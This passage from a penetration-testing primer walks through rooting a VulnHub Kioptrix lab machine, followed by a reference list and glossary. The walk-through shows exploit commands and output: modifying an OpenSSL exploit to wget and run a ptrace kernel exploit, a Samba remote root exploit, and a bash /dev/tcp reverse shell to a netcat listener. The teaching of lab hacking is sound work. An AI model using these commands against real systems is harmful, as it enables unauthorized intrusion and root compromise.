******************************************************************* * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* * by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE * * #hackarena irc.brasnet.org * * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname * * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam * * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ * *******************************************************************

Connection... 40 of 40 Establishing SSL connection cipher: 0x4043808c ciphers: 0x80f1c70 Ready to send shellcode Spawning shell... Good Bye!

Curious. . . The exploit didn’t work. Let’s repeat the procedure, using the second offset (0x6b) and see if it works: kali@kali:~$ ./OpenLuck 0x6b 10.1.1.102 443 -c 40 (continues on next page)

72 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

(continued from previous page)

******************************************************************* * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* [...] Connection... 40 of 40 Establishing SSL connection cipher: 0x4043808c ciphers: 0x80f8068 Ready to send shellcode Spawning shell... bash: no job control in this shell bash-2.05$ exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- --18:39:24-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c => `ptrace-kmod.c' Connecting to dl.packetstormsecurity.net:80... dl.packetstormsecurity.net: Host not found. gcc: ptrace-kmod.c: No such file or directory gcc: No input files rm: cannot remove `ptrace-kmod.c': No such file or directory bash: ./p: No such file or directory bash-2.05$ bash-2.05$

We got a shell! But what’s all this about dl.packetstormsecurity.net? Looking back at the source code to the exploit, we will discover the following lines:

[...] #define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n" #define COMMAND2 "unset HISTFILE; cd/tmp; wget http://dl.packetstormsecurity.net/

˓→0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n" [...]

Curious! From the looks of it, upon receiving a shell, the exploit attempts to execute these two commands on the target system. The first seems normal enough, but the second looks like it’s reaching out to dl. packetstormsecurity.net to download and compile additional code. While this might work fine on a target connected to the Internet, I’ve configured Kioptrix to use a host-only network, which prevents it from being able to communicate with the outside world. Therefore, when it attempts to download this file, the download will fail, and the exploit will not run. Despite this error, we’ve still got a shell. To which account do we have access?

bash-2.05$ id id uid=48(apache) gid=48(apache) groups=48(apache)

We’re logged in as the apache user. From here, we would typically need to find a method of privilege escalation in order to gain access to the root account. . . But perhaps this is what the OpenLuck script was trying to do by downloading that file from packetstormsecurity.net? Let’s fix this script and see if we can grant OpenLuck access to this ptrace-kmod.c file. First, we’ll download the ptrace-kmod.c file from the specified URL, making sure to inspect this code to see what it’s doing. As suspected, it appears to be a Linux kernel privilege-escalation exploit. Copy the contents of this file, then paste them into a file called ptrace-kmod.c on your Kali system. Next, we’ll need to modify the OpenLuck.c source code to download this file from our Kali host. Change the code as follows, injecting your own IP into COMMAND2:

3.2. VulnHub 73 No Skids Allowed! A Pentester's Primer

[...] #define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n" #define COMMAND2 "unset HISTFILE; cd/tmp; wget http://10.1.1.100/ptrace-kmod.c; gcc -

˓→o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n" [...]

Next, re-compile the software as before: kali@kali:~$ gcc -o OpenLuck OpenLuck.c -lcrypto

With this complete, we only have one more step to accomplish before we can run the exploit against the target once more: we need to host the ptrace-kmod.c file with an HTTP server so that the target system can download it according to the command we provided. To accomplish this, open a new terminal in the same directory where the ptrace-kmod.c file is stored, and use Python 3 to launch an HTTP server: kali@kali:~$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

With this Python 3 HTTP server in-place, let’s run the exploit one more time: kali@kali:~$ ./OpenLuck 0x6b 10.1.1.102 443 -c 40

******************************************************************* * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* [...] Connection... 40 of 40 Establishing SSL connection cipher: 0x4043808c ciphers: 0x80f8068 Ready to send shellcode Spawning shell... bash: no job control in this shell bash-2.05$ p ptrace-kmod.c; rm ptrace-kmod.c; ./p; http://10.1.1.100/ptrace-kmod.c; gcc -o --18:46:07-- http://10.1.1.100/ptrace-kmod.c => `ptrace-kmod.c' Connecting to 10.1.1.100:80... connected! HTTP request sent, awaiting response... 200 OK Length: 3,737 [text/plain]

0K ... 100% @ 3.56 MB/s

18:46:07 (3.56 MB/s) - `ptrace-kmod.c' saved [3737/3737]

[+] Attached to 1411 [+] Waiting for signal [+] Signal caught [+] Shellcode placed at 0x4001189d [+] Now wait for suid shell...

Bingo! Checking on our Python 3 HTTP server, we can see that the target downloaded the ptrace-kmod.c file: kali@kali:~$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.1.1.102 - - [07/Apr/2020 14:45:52] "GET /ptrace-kmod.c HTTP/1.0" 200 -

To top it off, it appears as if the secondary exploit was successfully compiled and executed on the target. There’s no visible command prompt, but perhaps if we execute the id and whoami commands, we can figure out whether the

74 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer privilege escalation attack was successful: id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),

˓→10(wheel) whoami root

Excellent! We’ve got a shell as the root user! We have successfully completed this challenge. But what about that Samba exploit? Let’s see if we can get it working, too. After all, if this were a real penetration test, the goal wouldn’t just be to “get root,” but to reveal and demonstrate all of the vulnerabilities on the system.

Exploiting Samba

Let’s run the Samba exploit without any command-line arguments, just to see how it works: kali@kali:~$ ./samba_exploit samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) ------Usage: ./samba_exploit [-bBcCdfprsStv] [host]

-b bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior,

˓→3 = OpenBSD 3.2) -B bruteforce steps (default = 300) -c connectback ip address -C max childs for scan/bruteforce mode (default = 40) -d bruteforce/scanmode delay in micro seconds (default = 100000) -f force -p port to attack (default = 139) -r return address -s scan mode (random) -S scan mode -t presets (0 for a list) -v verbose mode

From the looks of it, we’ll need to specify the platform at a minimum, using the -b flag. Let’s give it a shot: kali@kali:~$ ./samba_exploit -b 0 10.1.1.102 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) ------+ Bruteforce mode. (Linux) + Host is running samba. + Worked! ------*** JE MOET JE MUIL HOUWE Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=99(nobody)

The exploit worked quickly and effectively, and immediately granted root privileges! Can we get a better shell with bash? Let’s give it a shot. First, we’ll start a netcat listener on port 443: kali@kali:~$ sudo nc -vnlp 443 listening on [any] 443 ...

Next, execute the following command in the Samba exploit terminal:

3.2. VulnHub 75 No Skids Allowed! A Pentester's Primer

nohup bash -i >& /dev/tcp/10.1.1.100/443 0>&1 &

By using the nohup command, we can ensure that our new reverse shell will remain open, even if the original Samba exploit shell should be closed. Returning to netcat, we’ve got a bash shell: kali@kali:~$ sudo nc -vnlp 443 listening on [any] 443 ... connect to [10.1.1.100] from (UNKNOWN) [10.1.1.102] 32773 bash: no job control in this shell stty: standard input: Invalid argument [root@kioptrix tmp]#

Well done! We’ve successfully rooted this system via two different exploits.

76 Chapter 3. Walk-Throughs CHAPTER FOUR

QUICK REFERENCE

4.1 CTF Platforms

• HackTheBox: Fully-managed CTF network, accessed via VPN. Free tier available. • VulnHub: Free, downloadable CTF virtual machines, for use with VirtualBox or VMWare.

4.2 Pentesting Methodologies

• Open Source Security Testing Methodology Manual (OSSTMM) • Payment Card Industry Data Security Standard (PCI DSS) • Penetration Testing Execution Standard (PTES) • Penetration Testing Framework (PTF)

4.3 Search Engines and OSINT Resources

4.3.1 OSINT Resources

• OSINT Resources Portal • OSINT Framework

4.3.2 General-Purpose

• Google • DuckDuckGo

77 No Skids Allowed! A Pentester's Primer

4.3.3 Google Dorks

• Google Hacking Database

4.3.4 Exploits and Vulnerabilities

• Exploit Database • NIST National Vulnerability Database • CVE Details

4.3.5 Images

• Google Image Search • TinEye

4.3.6 Internet-Connected Devices

• Shodan

4.3.7 Source Code

• SearchCode

4.3.8 Usernames

• CheckUsernames.com

78 Chapter 4. Quick Reference CHAPTER FIVE

GLOSSARY

Address Resolution Protocol (ARP) A network protocol used to determine the hardware (MAC) address of a device associated with a specified IP address. It is used when a device wants to communicate with another device on the local network. The sending device uses ARP to translate an IP address into a MAC address, enabling it to communicate directly with the device. ARP requests can be seen by all devices on a network. bind shell A piece of software that provides a remote attacker with command-line access to a target system by opening a port on the target system to which the attacker’s system can connect. Similar to a reverse shell. Capture the Flag (CTF) A game in which hackers attempt to penetrate a specially-designed target system or net- work. CTFs are a good way to legally practice hacking skills and gain recognition in the hacker community. enumeration The process of collecting useful information about a target, such as open ports, software version num- bers, etc. exploit 1. A piece of software that takes advantage of a vulnerability to compromise a computer system or network. 2. The act of using such software against a target. Google Dork / * Dork A syntactical search recipe enabling users to discover specific information online, such as vulnerable systems or private data. Google-Fu The ability to effectively employ search engines to obtain useful information. hack 1. To write (software) or modify (software or hardware) in a clever or skillful way. 2. To gain unauthorized access to computer files, systems, and/or networks. 3. A clever or skillfully-crafted piece of software or hardware, or a clever or skillful technique. hacker 1. An expert or enthusiast of any kind. 2. One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations. 3. A person who uses technology to gain unauthorized access to computer files, systems, and/or networks. hacking 1. Writing software. 2. Gaining unauthorized access to data, systems, or networks. 3. Finding clever or creative solutions to problems. 4. Splitting something with an axe. 5. Doing whatever hackers do.

79 No Skids Allowed! A Pentester's Primer hacktivism Using hacking techniques and skills to gain unauthorized access to computer files, systems, and/or net- works, in order to further social or political ends. Software designed to disrupt, damage, or gain unauthorized access to computer systems. Open-Source Intelligence (OSINT) Data collected from publicly available sources to be used in an intelligence con- text. payload A piece of software included in an exploit, designed to perform a specific task on the target system, such as creating a bind shell or reverse shell. penetration test / pentest The use of adversarial tactics to simulate an attack against systems, networks, individuals or groups, with the intent of revealing and mitigating vulnerabilities. penetration tester / pentester Someone who conducts penetration tests. port A communication endpoint through which software can communicate between different systems on a network. Remote-Access Trojan (RAT) A malware program used by intruders to remotely control target systems. Remote Code Execution (RCE) Vulnerability A flaw in a piece of software which allows attackers to run arbitrary commands or code on a target machine across a network connection. report In the context of a penetration test, a written document containing vulnerabilities, exploits, mitigation and advice, created by the penetration tester for the client. reverse shell A piece of software that provides a remote attacker with command-line access to a target system by connecting to a port on the attacker’s system which was opened for this purpose. Similar to a bind shell. scope The systems, locations, techniques and tools which can be used in a specific penetration test. script kiddie / skid An unskilled individual who uses other people’s tools and exploits without attempting to under- stand how or why they work. shell script A text file that contains a sequence of commands for a Unix-based operating system. vulnerability A weakness in a system, network, or other entity, which makes the entity open to abuse or attack.

80 Chapter 5. Glossary INDEX

A arp-scan, 19, 61 E enum4linux, 21, 47, 64 G Google Dork,7, 78, 79 M Metasploit, 28, 37, 39, 65, 69 Meterpreter, 30, 43 N netcat, 13, 18, 56, 75 nmap, 22, 34, 38, 45, 56, 62 O OSINT,8, 77, 80 S SearchSploit, 26, 37, 50, 54, 67, 69 smbclient, 24, 49 T tee, 15, 45, 47, 64

81